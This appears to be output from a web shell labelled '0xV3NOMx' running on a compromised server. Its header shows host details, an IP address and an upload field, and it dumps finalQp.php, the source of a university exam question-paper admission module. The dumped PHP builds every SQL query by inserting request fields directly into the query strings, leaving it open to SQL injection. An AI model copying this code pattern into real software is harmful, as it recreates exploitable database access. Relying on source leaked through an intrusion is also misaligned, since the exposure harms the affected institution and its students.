0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.61.142


Current Path : /proc/thread-self/root/var/www/html/admission/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/admission/src/finalQp.php

<?php
    function getSelectFinalQP($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
        $univcode = $aobj_context->mobj_data["univcode"];
        $exam = $aobj_context->mobj_data["exam"];
        $board = $aobj_context->mobj_data["board"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $degree = $aobj_context->mobj_data["degree"];
        $sem = $aobj_context->mobj_data["sem"];
        $status = $aobj_context->mobj_data["status"];
        $type = $aobj_context->mobj_data["type"];  

        $splitExam = explode("*", $exam);
        $deggrp = $splitExam[0];
        $splitYear = explode("-", $splitExam[1]);
        $examYear = $splitYear[0];
        $examType = $splitYear[1];

        $board === "All" ? $boardCond = " " : $boardCond = "and s.fboard='{$board}'";
        $qpcode === "All" ? $qpCond = " " : $qpCond = "and s.fqpcode='{$qpcode}'";
        $degree === "All" ? $degreeCond = " " : $degreeCond = "and s.fdegree='{$degree}'";
        $sem === "All" ? $semCond = " " : $semCond = "and s.fexamno='{$sem}'";
        
        if($status === "All"){
            $statCond = " ";
        }else if($status === "selected"){
            $statCond = "and q.ffinalpaper = 'T' ";
        }else{
            $statCond = "and ifnull(q.ffinalpaper, '') <> 'T' ";
        }
        
        if($type === 'current' || $type === NULL || $type === ""){
            $cond = "qpseterdet";
            $column = "";
            $cnd = "inner join qpset_deggrp g on q.fyear = g.fyear and q.fexamtype = g.fexamtype and g.fdeggrp = '{$deggrp}'";

            $yearmodecond = "and q.fexamtype='{$examType}' and q.fyear='{$examYear}'";
        }else{
            $cond = "qpseterdet";
            $column = "";
            $cnd = "inner join degexam g on s.fdegree = g.fdegree and g.fexamno = s.fexamno
            and q.fyear = g.fyear and q.fexamtype = g.fexamtype";
             $yearmodecond = "";
        }
        $query = "select distinct q.fyear, q.fexamtype, g.fexamdate, d.fdeggrp, s.fdegree, q.fteachcode, m.fteachname, q.fqpcode, 
                concat(s.fsubname, ' - ', s.fsubshort) as fsubname, s.fexamno,
                ifnull(q.fmodqpupd, '')as fmodqpupd, ifnull(q.fmodanskey, '')as fmodanskey, 
                ifnull(q.fmodform, '')as fmodform, ifnull(q.ffinalpaper, '')as ffinalpaper, q.fset,
                ifnull(ffinalqpstatus, '')as  ffinalqpstatus, ifnull(q.fdeleted, '')as fdeleted,
                date_format(q.ffinalpaperdate, '%d/%m/%Y %H:%i:%s')as ffinalpaperdate
                {$column} 
                from qpseterdet q inner join masteach m on m.fteachcode = q.fteachcode 
                inner join subject s on s.fqpcode = q.fqpcode
                inner join degree d on d.fdegree = s.fdegree and d.fexamno = s.fexamno
                {$cnd}
                where ifnull(fmodqpupd, '') <> ''
                {$yearmodecond}
                and d.fdeggrp='{$deggrp}'  
                {$boardCond} {$qpCond} {$degreeCond} {$semCond} {$statCond}
                group by s.fqpcode,q.fset, q.fteachcode order by g.fexamdate desc, 
                g.fyear desc, g.fexamtype desc";
        // var_dump($query);die();
        $result = $aobj_context->pobj_db->GetAll($query);
        
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
        }else{
            $arr['msg'] = 'Failed to load';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        }
    }

    function saveQPFinalPaper($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
        $univcode = $aobj_context->mobj_data["univcode"];
        $exam = $aobj_context->mobj_data["exam"];
        $board = $aobj_context->mobj_data["board"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $degree = $aobj_context->mobj_data["degree"];
        $sem = $aobj_context->mobj_data["sem"];
        $status = $aobj_context->mobj_data["status"];
        $type = $aobj_context->mobj_data["type"];  
        $data = json_decode($aobj_context->mobj_data["data"], true);

        $splitExam = explode("*", $exam);
        $deggrp = $splitExam[0];
        $splitYear = explode("-", $splitExam[1]);
        $examYear = $splitYear[0];
        $examType = $splitYear[1];
        
        foreach($data as $val){
            
            if($val['ffinalpaper'] == 'T'){
                $dateCond = "ffinalpaperdate=now()";
            }else{
                $dateCond = "ffinalpaperdate=NULL";
            }

            // if($type === "current" || $type === NULL || $type === ""){

                $query = "update qpseterdet set ffinalpaper= '{$val['ffinalpaper']}', {$dateCond}, 
                        fdeleted='{$val['fdeleted']}'
                        where fyear='{$val['fyear']}' and fexamtype='{$val['fexamtype']}' and 
                        fqpcode='{$val['fqpcode']}' and fteachcode='{$val['fteachcode']}' and
                        fset='{$val['fset']}' and ifnull(fmodqpupd, '') <> '' ";       
            // }else{
            //     $query = "insert ignore into qpseterdet(fyear, fexamtype, fqpcode, 
            //               fteachcode, fset, fqpduser, fqpdtme, fqpfile, 
            //               fqpfilepath, fanskeypath, fmodteach, fmodqppath, 
            //               fapprovedqpd, fapprovedstatus, fapproveduser, 
            //               fapproveddate, ffilename, fuploadstatus, 
            //               fstatus, ffinalpaper, fmodqpupd, fmodanskey, 
            //               fmodform, fmodqpdate, fmodansdate, fmodformdate, 
            //               ffinalpaperdate, fdeleted)
            //               select fyear, fexamtype, fqpcode, 
            //               fteachcode, fset, fqpduser, fqpdtme, fqpfile, 
            //               fqpfilepath, fanskeypath, fmodteach, fmodqppath, 
            //               fapprovedqpd, fapprovedstatus, fapproveduser, 
            //               fapproveddate, ffilename, fuploadstatus, 
            //               fstatus, '{$val['ffinalpaper']}', fmodqpupd, fmodanskey, 
            //               fmodform, fmodqpdate, fmodansdate, fmodformdate, 
            //               now(), '{$val['fdeleted']}'  from qpseterdet where 
            //               fyear='{$examYear}' and fexamtype = '{$examType}' and 
            //               fqpcode = '{$val['fqpcode']}' and 
            //               fteachcode = '{$val['fteachcode']}' and fset = '{$val['fset']}'";
            // }

            // var_dump($query);
            $result = $aobj_context->pobj_db->Execute($query); 
            // if($result && $type === "old"){
            //    $qry = "update qpseterdet set ffinalpaper = '{$val['ffinalpaper']}', fdeleted='{$val['fdeleted']}' where 
            //            fyear='{$examYear}' and fexamtype = '{$examType}' and 
            //            fqpcode = '{$val['fqpcode']}' and 
            //            fteachcode = '{$val['fteachcode']}' and fset = '{$val['fset']}'";
            //     $res = $aobj_context->pobj_db->Execute($qry);
            // }
        }
        
        if($result){
            $arr['msg'] = "Successfully Updated";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  
        }else{
            $arr['msg'] = 'Failed to save';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        }
    }

    function getFinalQpData($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
        $univcode = $aobj_context->mobj_data["univcode"];
        $exam = $aobj_context->mobj_data["exam"];
        $board = $aobj_context->mobj_data["board"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $degree = $aobj_context->mobj_data["degree"];
        $sem = $aobj_context->mobj_data["sem"];
        $type = $aobj_context->mobj_data["type"];

        $splitExam = explode("*", $exam);
        $deggrp = $splitExam[0];
        $splitYear = explode("-", $splitExam[1]);
        $examYear = $splitYear[0];
        $examType = $splitYear[1];

        $board === "All" ? $boardCond = " " : $boardCond = "and s.fboard='{$board}'";
        $qpcode === "All" ? $qpCond = " " : $qpCond = "and s.fqpcode='{$qpcode}'";
        $degree === "All" ? $degreeCond = " " : $degreeCond = "and s.fdegree='{$degree}'";
        $sem === "All" ? $semCond = " " : $semCond = "and s.fexamno='{$sem}'";
        
        $query = "select q.fqpcode, concat(s.fsubname, ' - ', s.fsubshort) as fsubname,q.fexamtype,q.fyear,
                  DATE_FORMAT(ffinalpaperdate,'%d-%m-%Y %H:%i:%s') as ffinalpaperdate,
                  q.fset, ifnull(fmodqpupd, '')as fmodqpupd, ifnull(fmodanskey, '')as fmodanskey, ifnull(q.fremarks,'') as fremarks,
                  ifnull(fmodform, '')as fmodform, q.fteachcode, s.fboard, group_concat(distinct s.fdegree) as fdegree, m.fteachname,
                  date_format(q.fmodqpdate, '%d/%m/%Y')as fmodqpdate, date_format(q.fqpdtme, '%d/%m/%Y')as fqpdtime,
                  ifnull(q.ffinalqpdate,'') as ffinalqpdate,ifnull(q.ffinalqppath,'') as ffinalqppath,
                  ifnull(q.ffinalqpuser,'') as ffinalqpuser, ifnull(q.ffinalqpstatus,'') as ffinalqpstatus,
                  ifnull(q.ffinalansdate,'') as ffinalansdate,ifnull(q.ffinalanspath,'') as ffinalanspath,
                  ifnull(q.ffinalansuser,'') as ffinalansuser, ifnull(q.ffinalansstatus,'') as ffinalansstatus
                  from qpseterdet q 
                  inner join subject s on s.fqpcode = q.fqpcode 
                  inner join degree d on d.fdegree = s.fdegree and d.fexamno = s.fexamno
                  inner join masteach m on q.fteachcode = m.fteachcode
                  where ifnull(fmodqpupd, '') <> '' and d.fdeggrp='{$deggrp}' and 
                  q.ffinalpaper='T' 
                  {$degreeCond} {$semCond}
                  {$boardCond} {$qpCond}
                  and ifnull(q.fdeleted, '') <> 'T' 
                  group by q.fqpcode,q.fteachcode,q.fset,q.fyear,q.fexamtype
                  order by ffinalpaperdate desc, q.fqpcode";
// var_dump($query);die();
        $result = $aobj_context->pobj_db->GetAll($query); 
        
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
        }else{
            $arr['msg'] = 'Failed to load';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        }
    }

    function getTeahcerData($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
        $univcode = $aobj_context->mobj_data["univcode"];
        
        $query = "select distinct m.fteachcode, mas.fteachname from 
                moderator m inner join masteach mas on mas.fteachcode = m.fteachcode union 
                select distinct q.fteachcode, mas.fteachname from 
                qpseterdet q inner join masteach mas on mas.fteachcode = q.fteachcode;";
        $result = $aobj_context->pobj_db->GetAll($query); 
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        }
    }
?>